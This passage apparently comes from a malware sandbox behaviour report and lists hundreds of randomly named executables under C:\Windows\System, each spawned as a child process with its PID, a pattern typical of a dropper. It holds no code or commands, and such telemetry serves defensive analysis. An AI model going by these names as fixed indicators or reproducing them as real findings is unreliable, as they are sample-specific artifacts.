  C:\Windows\System\FnzsTCQ.exe
  2⤵
  PID:7636
- C:\Windows\System\hLxwuoC.exe
  C:\Windows\System\hLxwuoC.exe
  2⤵
  PID:7656
- C:\Windows\System\qvuNgZT.exe
  C:\Windows\System\qvuNgZT.exe
  2⤵
  PID:7676
- C:\Windows\System\SZLQWMN.exe
  C:\Windows\System\SZLQWMN.exe
  2⤵
  PID:7696
- C:\Windows\System\YRQnzsG.exe
  C:\Windows\System\YRQnzsG.exe
  2⤵
  PID:7716
- C:\Windows\System\himjJnN.exe
  C:\Windows\System\himjJnN.exe
  2⤵
  PID:7740
- C:\Windows\System\AtMyLRy.exe
  C:\Windows\System\AtMyLRy.exe
  2⤵
  PID:7760
- C:\Windows\System\zBNZDXT.exe
  C:\Windows\System\zBNZDXT.exe
  2⤵
  PID:7780
- C:\Windows\System\aArWaSb.exe
  C:\Windows\System\aArWaSb.exe
  2⤵
  PID:7796
- C:\Windows\System\UzxXFIT.exe
  C:\Windows\System\UzxXFIT.exe
  2⤵
  PID:7820
- C:\Windows\System\nLheIjv.exe
  C:\Windows\System\nLheIjv.exe
  2⤵
  PID:7836
- C:\Windows\System\fBxgVfo.exe
  C:\Windows\System\fBxgVfo.exe
  2⤵
  PID:7860
- C:\Windows\System\jYiRXCU.exe
  C:\Windows\System\jYiRXCU.exe
  2⤵
  PID:7876
- C:\Windows\System\fKlqBjY.exe
  C:\Windows\System\fKlqBjY.exe
  2⤵
  PID:7900
- C:\Windows\System\RPPdLLC.exe
  C:\Windows\System\RPPdLLC.exe
  2⤵
  PID:7924
- C:\Windows\System\shiusac.exe
  C:\Windows\System\shiusac.exe
  2⤵
  PID:7944
- C:\Windows\System\DKIBZqk.exe
  C:\Windows\System\DKIBZqk.exe
  2⤵
  PID:7968
- C:\Windows\System\zaHRoWy.exe
  C:\Windows\System\zaHRoWy.exe
  2⤵
  PID:7988
- C:\Windows\System\nrWZrkY.exe
  C:\Windows\System\nrWZrkY.exe
  2⤵
  PID:8008
- C:\Windows\System\cwefPGe.exe
  C:\Windows\System\cwefPGe.exe
  2⤵
  PID:8028
- C:\Windows\System\REHvFYc.exe
  C:\Windows\System\REHvFYc.exe
  2⤵
  PID:8052
- C:\Windows\System\UeygvnA.exe
  C:\Windows\System\UeygvnA.exe
  2⤵
  PID:8068
- C:\Windows\System\SBHArVH.exe
  C:\Windows\System\SBHArVH.exe
  2⤵
  PID:8088
- C:\Windows\System\mXcxXaR.exe
  C:\Windows\System\mXcxXaR.exe
  2⤵
  PID:8108
- C:\Windows\System\dIKSZbb.exe
  C:\Windows\System\dIKSZbb.exe
  2⤵
  PID:8128
- C:\Windows\System\MDMzUaB.exe
  C:\Windows\System\MDMzUaB.exe
  2⤵
  PID:8152
- C:\Windows\System\cRAbAUW.exe
  C:\Windows\System\cRAbAUW.exe
  2⤵
  PID:8172
- C:\Windows\System\tHBDrCx.exe
  C:\Windows\System\tHBDrCx.exe
  2⤵
  PID:8188
- C:\Windows\System\qhmpcRv.exe
  C:\Windows\System\qhmpcRv.exe
  2⤵
  PID:5204
- C:\Windows\System\xHccyAl.exe
  C:\Windows\System\xHccyAl.exe
  2⤵
  PID:6672
- C:\Windows\System\FflGytr.exe
  C:\Windows\System\FflGytr.exe
  2⤵
  PID:1092
- C:\Windows\System\kOtBple.exe
  C:\Windows\System\kOtBple.exe
  2⤵
  PID:6784
- C:\Windows\System\FZGpNZP.exe
  C:\Windows\System\FZGpNZP.exe
  2⤵
  PID:4868
- C:\Windows\System\pnNvFgG.exe
  C:\Windows\System\pnNvFgG.exe
  2⤵
  PID:5644
- C:\Windows\System\waQREYH.exe
  C:\Windows\System\waQREYH.exe
  2⤵
  PID:7084
- C:\Windows\System\ZeMvmMV.exe
  C:\Windows\System\ZeMvmMV.exe
  2⤵
  PID:7120
- C:\Windows\System\bXHKOsd.exe
  C:\Windows\System\bXHKOsd.exe
  2⤵
  PID:6280
- C:\Windows\System\xtdGFFs.exe
  C:\Windows\System\xtdGFFs.exe
  2⤵
  PID:6304
- C:\Windows\System\yTTvIHF.exe
  C:\Windows\System\yTTvIHF.exe
  2⤵
  PID:5384
- C:\Windows\System\DwUQvwx.exe
  C:\Windows\System\DwUQvwx.exe
  2⤵
  PID:8220
- C:\Windows\System\ZBckWVx.exe
  C:\Windows\System\ZBckWVx.exe
  2⤵
  PID:8276
- C:\Windows\System\VYpeTmi.exe
  C:\Windows\System\VYpeTmi.exe
  2⤵
  PID:8308
- C:\Windows\System\IWCAYsj.exe
  C:\Windows\System\IWCAYsj.exe
  2⤵
  PID:8328
- C:\Windows\System\VKhKBue.exe
  C:\Windows\System\VKhKBue.exe
  2⤵
  PID:8348
- C:\Windows\System\fRPRtAE.exe
  C:\Windows\System\fRPRtAE.exe
  2⤵
  PID:8368
- C:\Windows\System\yFOhkmC.exe
  C:\Windows\System\yFOhkmC.exe
  2⤵
  PID:8396
- C:\Windows\System\qvrDXgU.exe
  C:\Windows\System\qvrDXgU.exe
  2⤵
  PID:8416
- C:\Windows\System\cYxCAAB.exe
  C:\Windows\System\cYxCAAB.exe
  2⤵
  PID:8432
- C:\Windows\System\yBwECIs.exe
  C:\Windows\System\yBwECIs.exe
  2⤵
  PID:8460
- C:\Windows\System\TNrCXaT.exe
  C:\Windows\System\TNrCXaT.exe
  2⤵
  PID:8480
- C:\Windows\System\osoBeoS.exe
  C:\Windows\System\osoBeoS.exe
  2⤵
  PID:8500
- C:\Windows\System\vQCkSDb.exe
  C:\Windows\System\vQCkSDb.exe
  2⤵
  PID:8540
- C:\Windows\System\mQandlh.exe
  C:\Windows\System\mQandlh.exe
  2⤵
  PID:8556
- C:\Windows\System\pLfBgZG.exe
  C:\Windows\System\pLfBgZG.exe
  2⤵
  PID:8580
- C:\Windows\System\GtKFPyn.exe
  C:\Windows\System\GtKFPyn.exe
  2⤵
  PID:8600
- C:\Windows\System\mJJkndd.exe
  C:\Windows\System\mJJkndd.exe
  2⤵
  PID:8620
- C:\Windows\System\JpiheBs.exe
  C:\Windows\System\JpiheBs.exe
  2⤵
  PID:8640
- C:\Windows\System\fWQbjRy.exe
  C:\Windows\System\fWQbjRy.exe
  2⤵
  PID:8664
- C:\Windows\System\GBeTCso.exe
  C:\Windows\System\GBeTCso.exe
  2⤵
  PID:8680
- C:\Windows\System\EmZJCpw.exe
  C:\Windows\System\EmZJCpw.exe
  2⤵
  PID:8708
- C:\Windows\System\kKjXCCd.exe
  C:\Windows\System\kKjXCCd.exe
  2⤵
  PID:8732
- C:\Windows\System\YxTLRsF.exe
  C:\Windows\System\YxTLRsF.exe
  2⤵
  PID:8760
- C:\Windows\System\plDFODE.exe
  C:\Windows\System\plDFODE.exe
  2⤵
  PID:8780
- C:\Windows\System\CpHOXdd.exe
  C:\Windows\System\CpHOXdd.exe
  2⤵
  PID:8800
- C:\Windows\System\roWNMik.exe
  C:\Windows\System\roWNMik.exe
  2⤵
  PID:8820
- C:\Windows\System\BxPzvgD.exe
  C:\Windows\System\BxPzvgD.exe
  2⤵
  PID:8848
- C:\Windows\System\VbPNKPj.exe
  C:\Windows\System\VbPNKPj.exe
  2⤵
  PID:8872
- C:\Windows\System\eOQmKzs.exe
  C:\Windows\System\eOQmKzs.exe
  2⤵
  PID:8896
- C:\Windows\System\YEHxHVr.exe
  C:\Windows\System\YEHxHVr.exe
  2⤵
  PID:8920
- C:\Windows\System\GIiAdvf.exe
  C:\Windows\System\GIiAdvf.exe
  2⤵
  PID:8936
- C:\Windows\System\gliRucL.exe
  C:\Windows\System\gliRucL.exe
  2⤵
  PID:8956
- C:\Windows\System\sPLEExt.exe
  C:\Windows\System\sPLEExt.exe
  2⤵
  PID:8984
- C:\Windows\System\RWavfBN.exe
  C:\Windows\System\RWavfBN.exe
  2⤵
  PID:9004
- C:\Windows\System\KASOvRc.exe
  C:\Windows\System\KASOvRc.exe
  2⤵
  PID:9028
- C:\Windows\System\qkKaqNk.exe
  C:\Windows\System\qkKaqNk.exe
  2⤵
  PID:9044
- C:\Windows\System\tjxJCWL.exe
  C:\Windows\System\tjxJCWL.exe
  2⤵
  PID:9064
- C:\Windows\System\pRAlkST.exe
  C:\Windows\System\pRAlkST.exe
  2⤵
  PID:9084
- C:\Windows\System\xedXRHs.exe
  C:\Windows\System\xedXRHs.exe
  2⤵
  PID:9108
- C:\Windows\System\jLpEyzH.exe
  C:\Windows\System\jLpEyzH.exe
  2⤵
  PID:9132
- C:\Windows\System\HUoBhnK.exe
  C:\Windows\System\HUoBhnK.exe
  2⤵
  PID:9152
- C:\Windows\System\uvnUauO.exe
  C:\Windows\System\uvnUauO.exe
  2⤵
  PID:9172
- C:\Windows\System\OLOmKGm.exe
  C:\Windows\System\OLOmKGm.exe
  2⤵
  PID:9196
- C:\Windows\System\eGNlQhB.exe
  C:\Windows\System\eGNlQhB.exe
  2⤵
  PID:6508
- C:\Windows\System\DMQvkls.exe
  C:\Windows\System\DMQvkls.exe
  2⤵
  PID:5672
- C:\Windows\System\zyNVsgI.exe
  C:\Windows\System\zyNVsgI.exe
  2⤵
  PID:6404
- C:\Windows\System\degYqum.exe
  C:\Windows\System\degYqum.exe
  2⤵
  PID:7228
- C:\Windows\System\WnAOYlE.exe
  C:\Windows\System\WnAOYlE.exe
  2⤵
  PID:7204
- C:\Windows\System\hqTjpWx.exe
  C:\Windows\System\hqTjpWx.exe
  2⤵
  PID:7312
- C:\Windows\System\ktskAmW.exe
  C:\Windows\System\ktskAmW.exe
  2⤵
  PID:7360
- C:\Windows\System\zPAaaKs.exe
  C:\Windows\System\zPAaaKs.exe
  2⤵
  PID:7396
- C:\Windows\System\xesUiat.exe
  C:\Windows\System\xesUiat.exe
  2⤵
  PID:7508
- C:\Windows\System\HmMmGON.exe
  C:\Windows\System\HmMmGON.exe
  2⤵
  PID:7728
- C:\Windows\System\dkrQLwT.exe
  C:\Windows\System\dkrQLwT.exe
  2⤵
  PID:7768
- C:\Windows\System\tQBoHRo.exe
  C:\Windows\System\tQBoHRo.exe
  2⤵
  PID:7852
- C:\Windows\System\IlFoZHN.exe
  C:\Windows\System\IlFoZHN.exe
  2⤵
  PID:6852
- C:\Windows\System\ZnUzkZV.exe
  C:\Windows\System\ZnUzkZV.exe
  2⤵
  PID:6916
- C:\Windows\System\PEOnrkp.exe
  C:\Windows\System\PEOnrkp.exe
  2⤵
  PID:8048
- C:\Windows\System\FOneHhE.exe
  C:\Windows\System\FOneHhE.exe
  2⤵
  PID:7016
- C:\Windows\System\tSoMpLW.exe
  C:\Windows\System\tSoMpLW.exe
  2⤵
  PID:7104
- C:\Windows\System\pUZxKBV.exe
  C:\Windows\System\pUZxKBV.exe
  2⤵
  PID:6764
- C:\Windows\System\EhYJEJy.exe
  C:\Windows\System\EhYJEJy.exe
  2⤵
  PID:6268
- C:\Windows\System\LSqfvlY.exe
  C:\Windows\System\LSqfvlY.exe
  2⤵
  PID:7100
- C:\Windows\System\xrTkFGI.exe
  C:\Windows\System\xrTkFGI.exe
  2⤵
  PID:1196
- C:\Windows\System\rylCIzq.exe
  C:\Windows\System\rylCIzq.exe
  2⤵
  PID:6904
- C:\Windows\System\azHcnqP.exe
  C:\Windows\System\azHcnqP.exe
  2⤵
  PID:6712
- C:\Windows\System\VEoLLnp.exe
  C:\Windows\System\VEoLLnp.exe
  2⤵
  PID:6628
- C:\Windows\System\UakUDdq.exe
  C:\Windows\System\UakUDdq.exe
  2⤵
  PID:6176
- C:\Windows\System\xYXZIxw.exe
  C:\Windows\System\xYXZIxw.exe
  2⤵
  PID:6236
- C:\Windows\System\xrhYLbk.exe
  C:\Windows\System\xrhYLbk.exe
  2⤵
  PID:9260
- C:\Windows\System\OFdBkLu.exe
  C:\Windows\System\OFdBkLu.exe
  2⤵
  PID:9284
- C:\Windows\System\oQAmjPG.exe
  C:\Windows\System\oQAmjPG.exe
  2⤵
  PID:9304
- C:\Windows\System\ztsnfNW.exe
  C:\Windows\System\ztsnfNW.exe
  2⤵
  PID:9324
- C:\Windows\System\KokAwgV.exe
  C:\Windows\System\KokAwgV.exe
  2⤵
  PID:9344
- C:\Windows\System\yAeOZkc.exe
  C:\Windows\System\yAeOZkc.exe
  2⤵
  PID:9364
- C:\Windows\System\dUOHanO.exe
  C:\Windows\System\dUOHanO.exe
  2⤵
  PID:9384
- C:\Windows\System\mJErssa.exe
  C:\Windows\System\mJErssa.exe
  2⤵
  PID:9408
- C:\Windows\System\VlfGzpV.exe
  C:\Windows\System\VlfGzpV.exe
  2⤵
  PID:9424
- C:\Windows\System\yqxawMm.exe
  C:\Windows\System\yqxawMm.exe
  2⤵
  PID:9448
- C:\Windows\System\EKFgDOD.exe
  C:\Windows\System\EKFgDOD.exe
  2⤵
  PID:9468
- C:\Windows\System\YhmhhKh.exe
  C:\Windows\System\YhmhhKh.exe
  2⤵
  PID:9484
- C:\Windows\System\WaXitWn.exe
  C:\Windows\System\WaXitWn.exe
  2⤵
  PID:9504
- C:\Windows\System\MdvEzKA.exe
  C:\Windows\System\MdvEzKA.exe
  2⤵
  PID:9520
- C:\Windows\System\CEfhipF.exe
  C:\Windows\System\CEfhipF.exe
  2⤵
  PID:9540
- C:\Windows\System\MYhWoxH.exe
  C:\Windows\System\MYhWoxH.exe
  2⤵
  PID:9560
- C:\Windows\System\GaQmLHq.exe
  C:\Windows\System\GaQmLHq.exe
  2⤵
  PID:9580
- C:\Windows\System\HeHqeDY.exe
  C:\Windows\System\HeHqeDY.exe
  2⤵
  PID:9604
- C:\Windows\System\oPrORDf.exe
  C:\Windows\System\oPrORDf.exe
  2⤵
  PID:9624
- C:\Windows\System\UJAxEZi.exe
  C:\Windows\System\UJAxEZi.exe
  2⤵
  PID:9648
- C:\Windows\System\yZbAocB.exe
  C:\Windows\System\yZbAocB.exe
  2⤵
  PID:9668
- C:\Windows\System\kVdXNQJ.exe
  C:\Windows\System\kVdXNQJ.exe
  2⤵
  PID:9692
- C:\Windows\System\QPGqzPC.exe
  C:\Windows\System\QPGqzPC.exe
  2⤵
  PID:9708
- C:\Windows\System\RBFFjCV.exe
  C:\Windows\System\RBFFjCV.exe
  2⤵
  PID:9732
- C:\Windows\System\naOzbCw.exe
  C:\Windows\System\naOzbCw.exe
  2⤵
  PID:9748
- C:\Windows\System\MHsDVqG.exe
  C:\Windows\System\MHsDVqG.exe
  2⤵
  PID:9776
- C:\Windows\System\UplsqDR.exe
  C:\Windows\System\UplsqDR.exe
  2⤵
  PID:9796
- C:\Windows\System\WJztgSO.exe
  C:\Windows\System\WJztgSO.exe
  2⤵
  PID:9816
- C:\Windows\System\dMbyvrf.exe
  C:\Windows\System\dMbyvrf.exe
  2⤵
  PID:9836
- C:\Windows\System\unXBZuD.exe
  C:\Windows\System\unXBZuD.exe
  2⤵
  PID:9860
- C:\Windows\System\qmtfDFt.exe
  C:\Windows\System\qmtfDFt.exe
  2⤵
  PID:9880
- C:\Windows\System\LYSCUpg.exe
  C:\Windows\System\LYSCUpg.exe
  2⤵
  PID:9896
- C:\Windows\System\OYGEakb.exe
  C:\Windows\System\OYGEakb.exe
  2⤵
  PID:9920
- C:\Windows\System\UbHShWI.exe
  C:\Windows\System\UbHShWI.exe
  2⤵
  PID:9944
- C:\Windows\System\QliXzXG.exe
  C:\Windows\System\QliXzXG.exe
  2⤵
  PID:9964
- C:\Windows\System\eoommIF.exe
  C:\Windows\System\eoommIF.exe
  2⤵
  PID:9980
- C:\Windows\System\zYsIlON.exe
  C:\Windows\System\zYsIlON.exe
  2⤵
  PID:10008
- C:\Windows\System\DPFSByM.exe
  C:\Windows\System\DPFSByM.exe
  2⤵
  PID:10032
- C:\Windows\System\RuXXXth.exe
  C:\Windows\System\RuXXXth.exe
  2⤵
  PID:10052
- C:\Windows\System\tzXmWxk.exe
  C:\Windows\System\tzXmWxk.exe
  2⤵
  PID:10072
- C:\Windows\System\UuZiNIT.exe
  C:\Windows\System\UuZiNIT.exe
  2⤵
  PID:10092
- C:\Windows\System\eUQmbLd.exe
  C:\Windows\System\eUQmbLd.exe
  2⤵
  PID:10112
- C:\Windows\System\yWAuSlT.exe
  C:\Windows\System\yWAuSlT.exe
  2⤵
  PID:10136
- C:\Windows\System\uSLuGsG.exe
  C:\Windows\System\uSLuGsG.exe
  2⤵
  PID:10152
- C:\Windows\System\wibnfsF.exe
  C:\Windows\System\wibnfsF.exe
  2⤵
  PID:10180
- C:\Windows\System\SNNxcHx.exe
  C:\Windows\System\SNNxcHx.exe
  2⤵
  PID:10200
- C:\Windows\System\mwnDCHU.exe
  C:\Windows\System\mwnDCHU.exe
  2⤵
  PID:10220
- C:\Windows\System\ZMmxWOL.exe
  C:\Windows\System\ZMmxWOL.exe
  2⤵
  PID:10236
- C:\Windows\System\bZgSskd.exe
  C:\Windows\System\bZgSskd.exe
  2⤵
  PID:5396
- C:\Windows\System\CtAdsOv.exe
  C:\Windows\System\CtAdsOv.exe
  2⤵
  PID:7244
- C:\Windows\System\aNVVtix.exe
  C:\Windows\System\aNVVtix.exe
  2⤵
  PID:8384
- C:\Windows\System\YlCMKQs.exe
  C:\Windows\System\YlCMKQs.exe
  2⤵
  PID:7316
- C:\Windows\System\nXRvhiM.exe
  C:\Windows\System\nXRvhiM.exe
  2⤵
  PID:8524
- C:\Windows\System\nAttBwc.exe
  C:\Windows\System\nAttBwc.exe
  2⤵
  PID:7456
- C:\Windows\System\nfeQCRm.exe
  C:\Windows\System\nfeQCRm.exe
  2⤵
  PID:5496
- C:\Windows\System\EFuoLnD.exe
  C:\Windows\System\EFuoLnD.exe
  2⤵
  PID:8632
- C:\Windows\System\oaJtbLV.exe
  C:\Windows\System\oaJtbLV.exe
  2⤵
  PID:7620
- C:\Windows\System\SbFPcLN.exe
  C:\Windows\System\SbFPcLN.exe
  2⤵
  PID:7672
- C:\Windows\System\uuMBvRq.exe
  C:\Windows\System\uuMBvRq.exe
  2⤵
  PID:7644
- C:\Windows\System\MxQGINo.exe
  C:\Windows\System\MxQGINo.exe
  2⤵
  PID:8748
- C:\Windows\System\VSjCytV.exe
  C:\Windows\System\VSjCytV.exe
  2⤵
  PID:7792
- C:\Windows\System\LnvgkJT.exe
  C:\Windows\System\LnvgkJT.exe
  2⤵
  PID:7856
- C:\Windows\System\puwaeol.exe
  C:\Windows\System\puwaeol.exe
  2⤵
  PID:8944
- C:\Windows\System\MEFblJY.exe
  C:\Windows\System\MEFblJY.exe
  2⤵
  PID:8976
- C:\Windows\System\xwLYtDp.exe
  C:\Windows\System\xwLYtDp.exe
  2⤵
  PID:7952
- C:\Windows\System\QujSsjG.exe
  C:\Windows\System\QujSsjG.exe
  2⤵
  PID:7996
- C:\Windows\System\lwqZxBq.exe
  C:\Windows\System\lwqZxBq.exe
  2⤵
  PID:9180
- C:\Windows\System\fPxkJoH.exe
  C:\Windows\System\fPxkJoH.exe
  2⤵
  PID:8120
- C:\Windows\System\rzeldHO.exe
  C:\Windows\System\rzeldHO.exe
  2⤵
  PID:5200
- C:\Windows\System\zRlKhfr.exe
  C:\Windows\System\zRlKhfr.exe
  2⤵
  PID:7332
- C:\Windows\System\nYzwBcL.exe
  C:\Windows\System\nYzwBcL.exe
  2⤵
  PID:7724
- C:\Windows\System\UGLiqCr.exe
  C:\Windows\System\UGLiqCr.exe
  2⤵
  PID:8136
- C:\Windows\System\HRZRmGD.exe
  C:\Windows\System\HRZRmGD.exe
  2⤵
  PID:5792
- C:\Windows\System\caSJbNP.exe
  C:\Windows\System\caSJbNP.exe
  2⤵
  PID:5164
- C:\Windows\System\BVfvzul.exe
  C:\Windows\System\BVfvzul.exe
  2⤵
  PID:8216
- C:\Windows\System\nJazdSW.exe
  C:\Windows\System\nJazdSW.exe
  2⤵
  PID:6948
- C:\Windows\System\BktcjFu.exe
  C:\Windows\System\BktcjFu.exe
  2⤵
  PID:10260
- C:\Windows\System\QiSwxLE.exe
  C:\Windows\System\QiSwxLE.exe
  2⤵
  PID:10288
- C:\Windows\System\ldrsItK.exe
  C:\Windows\System\ldrsItK.exe
  2⤵
  PID:10316
- C:\Windows\System\WZmefyU.exe
  C:\Windows\System\WZmefyU.exe
  2⤵
  PID:10336
- C:\Windows\System\XsigAZx.exe
  C:\Windows\System\XsigAZx.exe
  2⤵
  PID:10360
- C:\Windows\System\bExFyFP.exe
  C:\Windows\System\bExFyFP.exe
  2⤵
  PID:10380
- C:\Windows\System\mRvkpgd.exe
  C:\Windows\System\mRvkpgd.exe
  2⤵
  PID:10408
- C:\Windows\System\HpLjbrb.exe
  C:\Windows\System\HpLjbrb.exe
  2⤵
  PID:10428
- C:\Windows\System\urLwXZy.exe
  C:\Windows\System\urLwXZy.exe
  2⤵
  PID:10452
- C:\Windows\System\aUHaDRe.exe
  C:\Windows\System\aUHaDRe.exe
  2⤵
  PID:10472
- C:\Windows\System\QpgBzyy.exe
  C:\Windows\System\QpgBzyy.exe
  2⤵
  PID:10504
- C:\Windows\System\AHPeofQ.exe
  C:\Windows\System\AHPeofQ.exe
  2⤵
  PID:10524
- C:\Windows\System\ReNUMkK.exe
  C:\Windows\System\ReNUMkK.exe
  2⤵
  PID:10544
- C:\Windows\System\jTpjTwN.exe
  C:\Windows\System\jTpjTwN.exe
  2⤵
  PID:10564
- C:\Windows\System\nHszCvW.exe
  C:\Windows\System\nHszCvW.exe
  2⤵
  PID:10592
- C:\Windows\System\yARkfRQ.exe
  C:\Windows\System\yARkfRQ.exe
  2⤵
  PID:10608
- C:\Windows\System\SfWfuUd.exe
  C:\Windows\System\SfWfuUd.exe
  2⤵
  PID:10628
- C:\Windows\System\GaQoFAE.exe
  C:\Windows\System\GaQoFAE.exe
  2⤵
  PID:10648
- C:\Windows\System\YZSCfjS.exe
  C:\Windows\System\YZSCfjS.exe
  2⤵
  PID:10668
- C:\Windows\System\fYGObhU.exe
  C:\Windows\System\fYGObhU.exe
  2⤵
  PID:10692
- C:\Windows\System\mCljwOO.exe
  C:\Windows\System\mCljwOO.exe
  2⤵
  PID:10712
- C:\Windows\System\AMQOYHk.exe
  C:\Windows\System\AMQOYHk.exe
  2⤵
  PID:10732
- C:\Windows\System\RLvRtxS.exe
  C:\Windows\System\RLvRtxS.exe
  2⤵
  PID:10756
- C:\Windows\System\uInlBqU.exe
  C:\Windows\System\uInlBqU.exe
  2⤵
  PID:10776
- C:\Windows\System\cqLuUEk.exe
  C:\Windows\System\cqLuUEk.exe
  2⤵
  PID:10796
- C:\Windows\System\syYyFzB.exe
  C:\Windows\System\syYyFzB.exe
  2⤵
  PID:10816
- C:\Windows\System\myHOWbm.exe
  C:\Windows\System\myHOWbm.exe
  2⤵
  PID:10832
- C:\Windows\System\OBttFZv.exe
  C:\Windows\System\OBttFZv.exe
  2⤵
  PID:10852
- C:\Windows\System\bmovvGY.exe
  C:\Windows\System\bmovvGY.exe
  2⤵
  PID:10876
- C:\Windows\System\tpRyrsU.exe
  C:\Windows\System\tpRyrsU.exe
  2⤵
  PID:10904
- C:\Windows\System\ERZzFeZ.exe
  C:\Windows\System\ERZzFeZ.exe
  2⤵
  PID:10920
- C:\Windows\System\cqSnGxO.exe
  C:\Windows\System\cqSnGxO.exe
  2⤵
  PID:10936
- C:\Windows\System\uUBwJdw.exe
  C:\Windows\System\uUBwJdw.exe
  2⤵
  PID:10952
- C:\Windows\System\bGiTVwx.exe
  C:\Windows\System\bGiTVwx.exe
  2⤵
  PID:10968
- C:\Windows\System\lSIzKGn.exe
  C:\Windows\System\lSIzKGn.exe
  2⤵
  PID:10984
- C:\Windows\System\NgFDzQn.exe
  C:\Windows\System\NgFDzQn.exe
  2⤵
  PID:11004
- C:\Windows\System\AVGcnwt.exe
  C:\Windows\System\AVGcnwt.exe
  2⤵
  PID:11024
- C:\Windows\System\tfBjngK.exe
  C:\Windows\System\tfBjngK.exe
  2⤵
  PID:11048
- C:\Windows\System\XPKSqhT.exe
  C:\Windows\System\XPKSqhT.exe
  2⤵
  PID:11072
- C:\Windows\System\PwGKEJH.exe
  C:\Windows\System\PwGKEJH.exe
  2⤵
  PID:11092
- C:\Windows\System\sfFktzH.exe
  C:\Windows\System\sfFktzH.exe
  2⤵
  PID:11112
- C:\Windows\System\JtskkjO.exe
  C:\Windows\System\JtskkjO.exe
  2⤵
  PID:11136
- C:\Windows\System\mwnZNla.exe
  C:\Windows\System\mwnZNla.exe
  2⤵
  PID:11156
- C:\Windows\System\SYrZSlL.exe
  C:\Windows\System\SYrZSlL.exe
  2⤵
  PID:11176
- C:\Windows\System\siWvzyG.exe
  C:\Windows\System\siWvzyG.exe
  2⤵
  PID:11192
- C:\Windows\System\RNDYVEG.exe
  C:\Windows\System\RNDYVEG.exe
  2⤵
  PID:11216
- C:\Windows\System\SrApjVq.exe
  C:\Windows\System\SrApjVq.exe
  2⤵
  PID:11236
- C:\Windows\System\OAFXvRm.exe
  C:\Windows\System\OAFXvRm.exe
  2⤵
  PID:11256
- C:\Windows\System\YdBdVQr.exe
  C:\Windows\System\YdBdVQr.exe
  2⤵
  PID:9240
- C:\Windows\System\UYmQnIT.exe
  C:\Windows\System\UYmQnIT.exe
  2⤵
  PID:4992
- C:\Windows\System\rjfijqg.exe
  C:\Windows\System\rjfijqg.exe
  2⤵
  PID:9300
- C:\Windows\System\iLwVftH.exe
  C:\Windows\System\iLwVftH.exe
  2⤵
  PID:7272
- C:\Windows\System\NzGvYnJ.exe
  C:\Windows\System\NzGvYnJ.exe
  2⤵
  PID:8492
- C:\Windows\System\jjSROZu.exe
  C:\Windows\System\jjSROZu.exe
  2⤵
  PID:7416
- C:\Windows\System\FOfzXNX.exe
  C:\Windows\System\FOfzXNX.exe
  2⤵
  PID:8628
- C:\Windows\System\gSlEOGY.exe
  C:\Windows\System\gSlEOGY.exe
  2⤵
  PID:9572
- C:\Windows\System\hAmwqsz.exe
  C:\Windows\System\hAmwqsz.exe
  2⤵
  PID:9740
- C:\Windows\System\HhIFpet.exe
  C:\Windows\System\HhIFpet.exe
  2⤵
  PID:9828
- C:\Windows\System\uoimLwv.exe
  C:\Windows\System\uoimLwv.exe
  2⤵
  PID:9888
- C:\Windows\System\IBBJqFP.exe
  C:\Windows\System\IBBJqFP.exe
  2⤵
  PID:7892
- C:\Windows\System\IoSgnoW.exe
  C:\Windows\System\IoSgnoW.exe
  2⤵
  PID:8992
- C:\Windows\System\TuFttQY.exe
  C:\Windows\System\TuFttQY.exe
  2⤵
  PID:10068
- C:\Windows\System\BbShVse.exe
  C:\Windows\System\BbShVse.exe
  2⤵
  PID:9124
- C:\Windows\System\gdsrxgr.exe
  C:\Windows\System\gdsrxgr.exe
  2⤵
  PID:11276
- C:\Windows\System\RvaDhjd.exe
  C:\Windows\System\RvaDhjd.exe
  2⤵
  PID:11300
- C:\Windows\System\HHpZvsT.exe
  C:\Windows\System\HHpZvsT.exe
  2⤵
  PID:11320
- C:\Windows\System\ItdFpQf.exe
  C:\Windows\System\ItdFpQf.exe
  2⤵
  PID:11340
- C:\Windows\System\IVumTfP.exe
  C:\Windows\System\IVumTfP.exe
  2⤵
  PID:11360
- C:\Windows\System\AJLaXcy.exe
  C:\Windows\System\AJLaXcy.exe
  2⤵
  PID:11384
- C:\Windows\System\wndHhFG.exe
  C:\Windows\System\wndHhFG.exe
  2⤵
  PID:11404
- C:\Windows\System\ztEBPKc.exe
  C:\Windows\System\ztEBPKc.exe
  2⤵
  PID:11432
- C:\Windows\System\IugBuEM.exe
  C:\Windows\System\IugBuEM.exe
  2⤵
  PID:11456
- C:\Windows\System\AlcyxFr.exe
  C:\Windows\System\AlcyxFr.exe
  2⤵
  PID:11476
- C:\Windows\System\rGiETbB.exe
  C:\Windows\System\rGiETbB.exe
  2⤵
  PID:11500
- C:\Windows\System\GSbtxzS.exe
  C:\Windows\System\GSbtxzS.exe
  2⤵
  PID:11524
- C:\Windows\System\dwwQPrZ.exe
  C:\Windows\System\dwwQPrZ.exe
  2⤵
  PID:11544
- C:\Windows\System\ilAsjfC.exe
  C:\Windows\System\ilAsjfC.exe
  2⤵
  PID:11564
- C:\Windows\System\oXDhVUc.exe
  C:\Windows\System\oXDhVUc.exe
  2⤵
  PID:11584
- C:\Windows\System\tXuFsAx.exe
  C:\Windows\System\tXuFsAx.exe
  2⤵
  PID:11604
- C:\Windows\System\DEhAuDO.exe
  C:\Windows\System\DEhAuDO.exe
  2⤵
  PID:11624
- C:\Windows\System\grwVMQD.exe
  C:\Windows\System\grwVMQD.exe
  2⤵
  PID:11644
- C:\Windows\System\lWpaOjr.exe
  C:\Windows\System\lWpaOjr.exe
  2⤵
  PID:11668
- C:\Windows\System\qQhOSkX.exe
  C:\Windows\System\qQhOSkX.exe
  2⤵
  PID:11684
- C:\Windows\System\rGDprqp.exe
  C:\Windows\System\rGDprqp.exe
  2⤵
  PID:11708
- C:\Windows\System\yzTKQkj.exe
  C:\Windows\System\yzTKQkj.exe
  2⤵
  PID:11732
- C:\Windows\System\ZhWQWXs.exe
  C:\Windows\System\ZhWQWXs.exe
  2⤵
  PID:11752
- C:\Windows\System\JKhzDDR.exe
  C:\Windows\System\JKhzDDR.exe
  2⤵
  PID:11772
- C:\Windows\System\sFrdUIz.exe
  C:\Windows\System\sFrdUIz.exe
  2⤵
  PID:11792
- C:\Windows\System\vtUCOoO.exe
  C:\Windows\System\vtUCOoO.exe
  2⤵
  PID:11812
- C:\Windows\System\YLAVOpr.exe
  C:\Windows\System\YLAVOpr.exe
  2⤵
  PID:11836
- C:\Windows\System\sDkzEZD.exe
  C:\Windows\System\sDkzEZD.exe
  2⤵
  PID:11860
- C:\Windows\System\fqLbxWj.exe
  C:\Windows\System\fqLbxWj.exe
  2⤵
  PID:11880
- C:\Windows\System\CLzMmUH.exe
  C:\Windows\System\CLzMmUH.exe
  2⤵
  PID:11904
